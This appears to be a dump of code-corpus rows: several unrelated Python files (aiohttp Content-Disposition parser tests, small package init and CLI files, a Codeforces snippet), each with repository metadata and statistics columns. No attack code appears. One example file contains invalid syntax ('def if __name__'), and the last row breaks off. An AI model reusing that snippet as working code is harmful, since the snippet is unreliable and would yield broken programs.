|
0
| 4
|
8a7f5239b3a556426bc443ba2561a33a843ca653
| 222
|
py
|
Python
|
swift/common/env_utils.py
|
sun3shines/swift-1.7.4
|
980d2cd98b6cad82d3e182a26f608292ba51c37a
|
[
"Apache-2.0"
] | null | null | null |
swift/common/env_utils.py
|
sun3shines/swift-1.7.4
|
980d2cd98b6cad82d3e182a26f608292ba51c37a
|
[
"Apache-2.0"
] | null | null | null |
swift/common/env_utils.py
|
sun3shines/swift-1.7.4
|
980d2cd98b6cad82d3e182a26f608292ba51c37a
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
def env_comment(env,comment=''):
if env.get('fwuser_info') and not env['fwuser_info'].get('lock'):
env['fwuser_info']['comment'] = comment
env['fwuser_info']['lock'] = True
| 31.714286
| 69
| 0.585586
| 30
| 222
| 4.166667
| 0.466667
| 0.32
| 0.312
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005587
| 0.193694
| 222
| 7
| 70
| 31.714286
| 0.692737
| 0.094595
| 0
| 0
| 0
| 0
| 0.295
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8a87748472ee197818c3a7ad06ac27015a3a9db3
| 104
|
py
|
Python
|
examples/multi-project-example/example-app/src/example_app/run.py
|
BrianHuf/pygradle-multi-project
|
f6d3bce8e91f1d83b734ab94ce0d525824c6b050
|
[
"Apache-2.0"
] | null | null | null |
examples/multi-project-example/example-app/src/example_app/run.py
|
BrianHuf/pygradle-multi-project
|
f6d3bce8e91f1d83b734ab94ce0d525824c6b050
|
[
"Apache-2.0"
] | null | null | null |
examples/multi-project-example/example-app/src/example_app/run.py
|
BrianHuf/pygradle-multi-project
|
f6d3bce8e91f1d83b734ab94ce0d525824c6b050
|
[
"Apache-2.0"
] | null | null | null |
from example_lib.greet import greet
def main():
greet()
def if __name__ == '__main__':
main()
| 13
| 35
| 0.653846
| 14
| 104
| 4.214286
| 0.642857
| 0.271186
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.221154
| 104
| 7
| 36
| 14.857143
| 0.728395
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.2
| null | null | 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8a8a9968b3ac83f42a56bf6bee41d5f1b24bc746
| 252
|
py
|
Python
|
mrcz/__init__.py
|
em-MRCZ/python-mrcz
|
2a772418e68cb6c128bca74282b0727e45530c3b
|
[
"BSD-3-Clause"
] | 13
|
2016-11-09T13:14:34.000Z
|
2020-11-16T22:39:11.000Z
|
mrcz/__init__.py
|
em-MRCZ/python-mrcz
|
2a772418e68cb6c128bca74282b0727e45530c3b
|
[
"BSD-3-Clause"
] | 11
|
2017-02-10T11:02:15.000Z
|
2019-11-15T22:22:43.000Z
|
mrcz/__init__.py
|
em-MRCZ/python-mrcz
|
2a772418e68cb6c128bca74282b0727e45530c3b
|
[
"BSD-3-Clause"
] | 3
|
2017-02-10T10:49:45.000Z
|
2020-10-27T15:25:28.000Z
|
from mrcz.ioMRC import (readMRC, writeMRC, asyncReadMRC, asyncWriteMRC,
_setAsyncWorkers, _asyncExecutor, setDefaultThreads)
from mrcz.ioDM import readDM4, asyncReadDM4
from mrcz.__version__ import __version__
from mrcz.test_mrcz import test
| 22.909091
| 72
| 0.81746
| 28
| 252
| 6.964286
| 0.571429
| 0.164103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009132
| 0.130952
| 252
| 10
| 73
| 25.2
| 0.881279
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8a8ec2dce8c9b690cccde4a719622746115782a0
| 317
|
py
|
Python
|
python/REPL/1_hello.py
|
MobileRoboticsSchool/MobileRoboticsSchool.github.io
|
925614bbce38a8fd816576646856970da9a4b35a
|
[
"CC0-1.0"
] | null | null | null |
python/REPL/1_hello.py
|
MobileRoboticsSchool/MobileRoboticsSchool.github.io
|
925614bbce38a8fd816576646856970da9a4b35a
|
[
"CC0-1.0"
] | null | null | null |
python/REPL/1_hello.py
|
MobileRoboticsSchool/MobileRoboticsSchool.github.io
|
925614bbce38a8fd816576646856970da9a4b35a
|
[
"CC0-1.0"
] | null | null | null |
# First, lines beginning with a Hashtag are comments. Those are very practical to make python code understandable and share it. That will be very useful for me now as you can imagine.
# So what can we do in python ? Like in other langages, we can give instruction. Let's start with the standard:
print("Hello world")
| 79.25
| 183
| 0.772871
| 56
| 317
| 4.375
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.179811
| 317
| 4
| 184
| 79.25
| 0.942308
| 0.917981
| 0
| 0
| 0
| 0
| 0.458333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
8a9ee920f99544a1204f262eb61180b9c5a5eb74
| 26,466
|
py
|
Python
|
tests/test_multipart_helpers.py
|
strongbugman/aiohttp
|
f6b9b7b9be03d12e33af6dbd0cccd127146abedb
|
[
"Apache-2.0"
] | 4
|
2020-10-08T18:50:33.000Z
|
2021-07-07T10:50:04.000Z
|
tests/test_multipart_helpers.py
|
strongbugman/aiohttp
|
f6b9b7b9be03d12e33af6dbd0cccd127146abedb
|
[
"Apache-2.0"
] | null | null | null |
tests/test_multipart_helpers.py
|
strongbugman/aiohttp
|
f6b9b7b9be03d12e33af6dbd0cccd127146abedb
|
[
"Apache-2.0"
] | 1
|
2019-09-29T11:08:14.000Z
|
2019-09-29T11:08:14.000Z
|
import pytest
import aiohttp
from aiohttp import content_disposition_filename, parse_content_disposition
class TestParseContentDisposition:
# http://greenbytes.de/tech/tc2231/
def test_parse_empty(self):
disptype, params = parse_content_disposition(None)
assert disptype is None
assert {} == params
def test_inlonly(self):
disptype, params = parse_content_disposition('inline')
assert 'inline' == disptype
assert {} == params
def test_inlonlyquoted(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition('"inline"')
assert disptype is None
assert {} == params
def test_semicolon(self):
disptype, params = parse_content_disposition(
'form-data; name="data"; filename="file ; name.mp4"')
assert disptype == 'form-data'
assert params == {'name': 'data', 'filename': 'file ; name.mp4'}
def test_inlwithasciifilename(self):
disptype, params = parse_content_disposition(
'inline; filename="foo.html"')
assert 'inline' == disptype
assert {'filename': 'foo.html'} == params
def test_inlwithfnattach(self):
disptype, params = parse_content_disposition(
'inline; filename="Not an attachment!"')
assert 'inline' == disptype
assert {'filename': 'Not an attachment!'} == params
def test_attonly(self):
disptype, params = parse_content_disposition('attachment')
assert 'attachment' == disptype
assert {} == params
def test_attonlyquoted(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition('"attachment"')
assert disptype is None
assert {} == params
def test_attonlyucase(self):
disptype, params = parse_content_disposition('ATTACHMENT')
assert 'attachment' == disptype
assert {} == params
def test_attwithasciifilename(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_inlwithasciifilenamepdf(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo.pdf"')
assert 'attachment' == disptype
assert {'filename': 'foo.pdf'} == params
def test_attwithasciifilename25(self):
disptype, params = parse_content_disposition(
'attachment; filename="0000000000111111111122222"')
assert 'attachment' == disptype
assert {'filename': '0000000000111111111122222'} == params
def test_attwithasciifilename35(self):
disptype, params = parse_content_disposition(
'attachment; filename="00000000001111111111222222222233333"')
assert 'attachment' == disptype
assert {'filename': '00000000001111111111222222222233333'} == params
def test_attwithasciifnescapedchar(self):
disptype, params = parse_content_disposition(
r'attachment; filename="f\oo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attwithasciifnescapedquote(self):
disptype, params = parse_content_disposition(
'attachment; filename="\"quoting\" tested.html"')
assert 'attachment' == disptype
assert {'filename': '"quoting" tested.html'} == params
@pytest.mark.skip('need more smart parser which respects quoted text')
def test_attwithquotedsemicolon(self):
disptype, params = parse_content_disposition(
'attachment; filename="Here\'s a semicolon;.html"')
assert 'attachment' == disptype
assert {'filename': 'Here\'s a semicolon;.html'} == params
def test_attwithfilenameandextparam(self):
disptype, params = parse_content_disposition(
'attachment; foo="bar"; filename="foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html', 'foo': 'bar'} == params
def test_attwithfilenameandextparamescaped(self):
disptype, params = parse_content_disposition(
'attachment; foo="\"\\";filename="foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html', 'foo': '"\\'} == params
def test_attwithasciifilenameucase(self):
disptype, params = parse_content_disposition(
'attachment; FILENAME="foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attwithasciifilenamenq(self):
disptype, params = parse_content_disposition(
'attachment; filename=foo.html')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attwithtokfncommanq(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo,bar.html')
assert disptype is None
assert {} == params
def test_attwithasciifilenamenqs(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo.html ;')
assert disptype is None
assert {} == params
def test_attemptyparam(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; ;filename=foo')
assert disptype is None
assert {} == params
def test_attwithasciifilenamenqws(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo bar.html')
assert disptype is None
assert {} == params
def test_attwithfntokensq(self):
disptype, params = parse_content_disposition(
"attachment; filename='foo.html'")
assert 'attachment' == disptype
assert {'filename': "'foo.html'"} == params
def test_attwithisofnplain(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-ä.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-ä.html'} == params
def test_attwithutf8fnplain(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-ä.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-ä.html'} == params
def test_attwithfnrawpctenca(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-%41.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-%41.html'} == params
def test_attwithfnusingpct(self):
disptype, params = parse_content_disposition(
'attachment; filename="50%.html"')
assert 'attachment' == disptype
assert {'filename': '50%.html'} == params
def test_attwithfnrawpctencaq(self):
disptype, params = parse_content_disposition(
r'attachment; filename="foo-%\41.html"')
assert 'attachment' == disptype
assert {'filename': r'foo-%41.html'} == params
def test_attwithnamepct(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-%41.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-%41.html'} == params
def test_attwithfilenamepctandiso(self):
disptype, params = parse_content_disposition(
'attachment; filename="ä-%41.html"')
assert 'attachment' == disptype
assert {'filename': 'ä-%41.html'} == params
def test_attwithfnrawpctenclong(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-%c3%a4-%e2%82%ac.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-%c3%a4-%e2%82%ac.html'} == params
def test_attwithasciifilenamews1(self):
disptype, params = parse_content_disposition(
'attachment; filename ="foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attwith2filenames(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename="foo.html"; filename="bar.html"')
assert disptype is None
assert {} == params
def test_attfnbrokentoken(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo[1](2).html')
assert disptype is None
assert {} == params
def test_attfnbrokentokeniso(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo-ä.html')
assert disptype is None
assert {} == params
def test_attfnbrokentokenutf(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo-ä.html')
assert disptype is None
assert {} == params
def test_attmissingdisposition(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'filename=foo.html')
assert disptype is None
assert {} == params
def test_attmissingdisposition2(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'x=y; filename=foo.html')
assert disptype is None
assert {} == params
def test_attmissingdisposition3(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'"foo; filename=bar;baz"; filename=qux')
assert disptype is None
assert {} == params
def test_attmissingdisposition4(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'filename=foo.html, filename=bar.html')
assert disptype is None
assert {} == params
def test_emptydisposition(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'; filename=foo.html')
assert disptype is None
assert {} == params
def test_doublecolon(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
': inline; attachment; filename=foo.html')
assert disptype is None
assert {} == params
def test_attandinline(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'inline; attachment; filename=foo.html')
assert disptype is None
assert {} == params
def test_attandinline2(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; inline; filename=foo.html')
assert disptype is None
assert {} == params
def test_attbrokenquotedfn(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename="foo.html".txt')
assert disptype is None
assert {} == params
def test_attbrokenquotedfn2(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename="bar')
assert disptype is None
assert {} == params
def test_attbrokenquotedfn3(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo"bar;baz"qux')
assert disptype is None
assert {} == params
def test_attmultinstances(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=foo.html, attachment; filename=bar.html')
assert disptype is None
assert {} == params
def test_attmissingdelim(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; foo=foo filename=bar')
assert disptype is None
assert {} == params
def test_attmissingdelim2(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename=bar foo=foo')
assert disptype is None
assert {} == params
def test_attmissingdelim3(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment filename=bar')
assert disptype is None
assert {} == params
def test_attreversed(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'filename=foo.html; attachment')
assert disptype is None
assert {} == params
def test_attconfusedparam(self):
disptype, params = parse_content_disposition(
'attachment; xfilename=foo.html')
assert 'attachment' == disptype
assert {'xfilename': 'foo.html'} == params
def test_attabspath(self):
disptype, params = parse_content_disposition(
'attachment; filename="/foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attabspathwin(self):
disptype, params = parse_content_disposition(
'attachment; filename="\\foo.html"')
assert 'attachment' == disptype
assert {'filename': 'foo.html'} == params
def test_attcdate(self):
disptype, params = parse_content_disposition(
'attachment; creation-date="Wed, 12 Feb 1997 16:29:51 -0500"')
assert 'attachment' == disptype
assert {'creation-date': 'Wed, 12 Feb 1997 16:29:51 -0500'} == params
def test_attmdate(self):
disptype, params = parse_content_disposition(
'attachment; modification-date="Wed, 12 Feb 1997 16:29:51 -0500"')
assert 'attachment' == disptype
assert {'modification-date':
'Wed, 12 Feb 1997 16:29:51 -0500'} == params
def test_dispext(self):
disptype, params = parse_content_disposition('foobar')
assert 'foobar' == disptype
assert {} == params
def test_dispextbadfn(self):
disptype, params = parse_content_disposition(
'attachment; example="filename=example.txt"')
assert 'attachment' == disptype
assert {'example': 'filename=example.txt'} == params
def test_attwithisofn2231iso(self):
disptype, params = parse_content_disposition(
"attachment; filename*=iso-8859-1''foo-%E4.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä.html'} == params
def test_attwithfn2231utf8(self):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''foo-%c3%a4-%e2%82%ac.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä-€.html'} == params
def test_attwithfn2231noc(self):
disptype, params = parse_content_disposition(
"attachment; filename*=''foo-%c3%a4-%e2%82%ac.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä-€.html'} == params
def test_attwithfn2231utf8comp(self):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''foo-a%cc%88.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä.html'} == params
@pytest.mark.skip('should raise decoding error: %82 is invalid for latin1')
def test_attwithfn2231utf8_bad(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=iso-8859-1''foo-%c3%a4-%e2%82%ac.html")
assert 'attachment' == disptype
assert {} == params
@pytest.mark.skip('should raise decoding error: %E4 is invalid for utf-8')
def test_attwithfn2231iso_bad(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=utf-8''foo-%E4.html")
assert 'attachment' == disptype
assert {} == params
def test_attwithfn2231ws1(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename *=UTF-8''foo-%c3%a4.html")
assert 'attachment' == disptype
assert {} == params
def test_attwithfn2231ws2(self):
disptype, params = parse_content_disposition(
"attachment; filename*= UTF-8''foo-%c3%a4.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä.html'} == params
def test_attwithfn2231ws3(self):
disptype, params = parse_content_disposition(
"attachment; filename* =UTF-8''foo-%c3%a4.html")
assert 'attachment' == disptype
assert {'filename*': 'foo-ä.html'} == params
def test_attwithfn2231quot(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=\"UTF-8''foo-%c3%a4.html\"")
assert 'attachment' == disptype
assert {} == params
def test_attwithfn2231quot2(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=\"foo%20bar.html\"")
assert 'attachment' == disptype
assert {} == params
def test_attwithfn2231singleqmissing(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8'foo-%c3%a4.html")
assert 'attachment' == disptype
assert {} == params
@pytest.mark.skip('urllib.parse.unquote is tolerate to standalone % chars')
def test_attwithfn2231nbadpct1(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''foo%")
assert 'attachment' == disptype
assert {} == params
@pytest.mark.skip('urllib.parse.unquote is tolerate to standalone % chars')
def test_attwithfn2231nbadpct2(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''f%oo.html")
assert 'attachment' == disptype
assert {} == params
def test_attwithfn2231dpct(self):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''A-%2541.html")
assert 'attachment' == disptype
assert {'filename*': 'A-%41.html'} == params
def test_attwithfn2231abspathdisguised(self):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''%5cfoo.html")
assert 'attachment' == disptype
assert {'filename*': '\\foo.html'} == params
def test_attfncont(self):
disptype, params = parse_content_disposition(
'attachment; filename*0="foo."; filename*1="html"')
assert 'attachment' == disptype
assert {'filename*0': 'foo.',
'filename*1': 'html'} == params
def test_attfncontqs(self):
disptype, params = parse_content_disposition(
r'attachment; filename*0="foo"; filename*1="\b\a\r.html"')
assert 'attachment' == disptype
assert {'filename*0': 'foo',
'filename*1': 'bar.html'} == params
def test_attfncontenc(self):
disptype, params = parse_content_disposition(
'attachment; filename*0*=UTF-8''foo-%c3%a4; filename*1=".html"')
assert 'attachment' == disptype
assert {'filename*0*': 'UTF-8''foo-%c3%a4',
'filename*1': '.html'} == params
def test_attfncontlz(self):
disptype, params = parse_content_disposition(
'attachment; filename*0="foo"; filename*01="bar"')
assert 'attachment' == disptype
assert {'filename*0': 'foo',
'filename*01': 'bar'} == params
def test_attfncontnc(self):
disptype, params = parse_content_disposition(
'attachment; filename*0="foo"; filename*2="bar"')
assert 'attachment' == disptype
assert {'filename*0': 'foo',
'filename*2': 'bar'} == params
def test_attfnconts1(self):
disptype, params = parse_content_disposition(
'attachment; filename*0="foo."; filename*2="html"')
assert 'attachment' == disptype
assert {'filename*0': 'foo.',
'filename*2': 'html'} == params
def test_attfncontord(self):
disptype, params = parse_content_disposition(
'attachment; filename*1="bar"; filename*0="foo"')
assert 'attachment' == disptype
assert {'filename*0': 'foo',
'filename*1': 'bar'} == params
def test_attfnboth(self):
disptype, params = parse_content_disposition(
'attachment; filename="foo-ae.html";'
" filename*=UTF-8''foo-%c3%a4.html")
assert 'attachment' == disptype
assert {'filename': 'foo-ae.html',
'filename*': 'foo-ä.html'} == params
def test_attfnboth2(self):
disptype, params = parse_content_disposition(
"attachment; filename*=UTF-8''foo-%c3%a4.html;"
' filename="foo-ae.html"')
assert 'attachment' == disptype
assert {'filename': 'foo-ae.html',
'filename*': 'foo-ä.html'} == params
def test_attfnboth3(self):
disptype, params = parse_content_disposition(
"attachment; filename*0*=ISO-8859-15''euro-sign%3d%a4;"
" filename*=ISO-8859-1''currency-sign%3d%a4")
assert 'attachment' == disptype
assert {'filename*': 'currency-sign=¤',
'filename*0*': "ISO-8859-15''euro-sign%3d%a4"} == params
def test_attnewandfn(self):
disptype, params = parse_content_disposition(
'attachment; foobar=x; filename="foo.html"')
assert 'attachment' == disptype
assert {'foobar': 'x',
'filename': 'foo.html'} == params
def test_attrfc2047token(self):
with pytest.warns(aiohttp.BadContentDispositionHeader):
disptype, params = parse_content_disposition(
'attachment; filename==?ISO-8859-1?Q?foo-=E4.html?=')
assert disptype is None
assert {} == params
def test_attrfc2047quoted(self):
disptype, params = parse_content_disposition(
'attachment; filename="=?ISO-8859-1?Q?foo-=E4.html?="')
assert 'attachment' == disptype
assert {'filename': '=?ISO-8859-1?Q?foo-=E4.html?='} == params
def test_bad_continuous_param(self):
with pytest.warns(aiohttp.BadContentDispositionParam):
disptype, params = parse_content_disposition(
'attachment; filename*0=foo bar')
assert 'attachment' == disptype
assert {} == params
class TestContentDispositionFilename:
# http://greenbytes.de/tech/tc2231/
def test_no_filename(self):
assert content_disposition_filename({}) is None
assert content_disposition_filename({'foo': 'bar'}) is None
def test_filename(self):
params = {'filename': 'foo.html'}
assert 'foo.html' == content_disposition_filename(params)
def test_filename_ext(self):
params = {'filename*': 'файл.html'}
assert 'файл.html' == content_disposition_filename(params)
def test_attfncont(self):
params = {'filename*0': 'foo.', 'filename*1': 'html'}
assert 'foo.html' == content_disposition_filename(params)
def test_attfncontqs(self):
params = {'filename*0': 'foo', 'filename*1': 'bar.html'}
assert 'foobar.html' == content_disposition_filename(params)
def test_attfncontenc(self):
params = {'filename*0*': "UTF-8''foo-%c3%a4",
'filename*1': '.html'}
assert 'foo-ä.html' == content_disposition_filename(params)
def test_attfncontlz(self):
params = {'filename*0': 'foo',
'filename*01': 'bar'}
assert 'foo' == content_disposition_filename(params)
def test_attfncontnc(self):
params = {'filename*0': 'foo',
'filename*2': 'bar'}
assert 'foo' == content_disposition_filename(params)
def test_attfnconts1(self):
params = {'filename*1': 'foo',
'filename*2': 'bar'}
assert content_disposition_filename(params) is None
def test_attfnboth(self):
params = {'filename': 'foo-ae.html',
'filename*': 'foo-ä.html'}
assert 'foo-ä.html' == content_disposition_filename(params)
def test_attfnboth3(self):
params = {'filename*0*': "ISO-8859-15''euro-sign%3d%a4",
'filename*': 'currency-sign=¤'}
assert 'currency-sign=¤' == content_disposition_filename(params)
def test_attrfc2047quoted(self):
params = {'filename': '=?ISO-8859-1?Q?foo-=E4.html?='}
assert '=?ISO-8859-1?Q?foo-=E4.html?=' == content_disposition_filename(
params)
| 39.918552
| 79
| 0.627824
| 2,595
| 26,466
| 6.282081
| 0.085164
| 0.117041
| 0.074163
| 0.145136
| 0.833333
| 0.792418
| 0.754325
| 0.709484
| 0.642559
| 0.571034
| 0
| 0.026259
| 0.253193
| 26,466
| 662
| 80
| 39.978852
| 0.798128
| 0.002532
| 0
| 0.565217
| 0
| 0.005435
| 0.226701
| 0.053644
| 0
| 0
| 0
| 0
| 0.353261
| 1
| 0.186594
| false
| 0
| 0.005435
| 0
| 0.195652
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8a9fa0fc2851cbef4a5bf6e641ac04cb252266ba
| 90
|
py
|
Python
|
cli.py
|
fakegit/DEXBot
|
44588f0cd7beb5f50508d966054d5f929818bf76
|
[
"MIT"
] | 249
|
2018-01-11T09:08:30.000Z
|
2022-03-20T23:05:29.000Z
|
cli.py
|
g3d/DEXBot
|
a2b1462d78d7154cb10871a7cec9a44c8d6664de
|
[
"MIT"
] | 541
|
2018-01-10T12:56:08.000Z
|
2021-12-22T02:22:09.000Z
|
cli.py
|
g3d/DEXBot
|
a2b1462d78d7154cb10871a7cec9a44c8d6664de
|
[
"MIT"
] | 164
|
2018-01-22T07:01:56.000Z
|
2022-03-21T06:00:33.000Z
|
#!/usr/bin/env python3
from dexbot import cli
if __name__ == '__main__':
cli.main()
| 12.857143
| 26
| 0.666667
| 13
| 90
| 4
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013699
| 0.188889
| 90
| 6
| 27
| 15
| 0.69863
| 0.233333
| 0
| 0
| 0
| 0
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
8ab2d23b0401b09eb59a224c828e0309a7bbd2db
| 66
|
py
|
Python
|
CodeForces/50A.py
|
tapaswenipathak/Competitive-Programming
|
97bba0f2ccdf587df93244a027050489f0905480
|
[
"MIT"
] | 2
|
2019-04-20T18:03:20.000Z
|
2019-08-17T21:20:47.000Z
|
CodeForces/50A.py
|
tapaswenipathak/Competitive-Programming
|
97bba0f2ccdf587df93244a027050489f0905480
|
[
"MIT"
] | null | null | null |
CodeForces/50A.py
|
tapaswenipathak/Competitive-Programming
|
97bba0f2ccdf587df93244a027050489f0905480
|
[
"MIT"
] | 1
|
2019-04-20T18:03:26.000Z
|
2019-04-20T18:03:26.000Z
|
M, N = map(int, raw_input().split() );
print int( (M * N) / 2 )
| 13.2
| 38
| 0.5
| 12
| 66
| 2.666667
| 0.75
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.242424
| 66
| 4
| 39
| 16.5
| 0.62
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
8ab7cc4ea670701f8ca2187611dfa3cc60178546
| 224
|
py
|
Python
|
tests/test_version.py
|
JerryX1110/VFS
|
22b915318935f459c9ee2d854d741b3f01a2ce9a
|
[
"Apache-2.0"
] | 549
|
2020-01-02T05:14:57.000Z
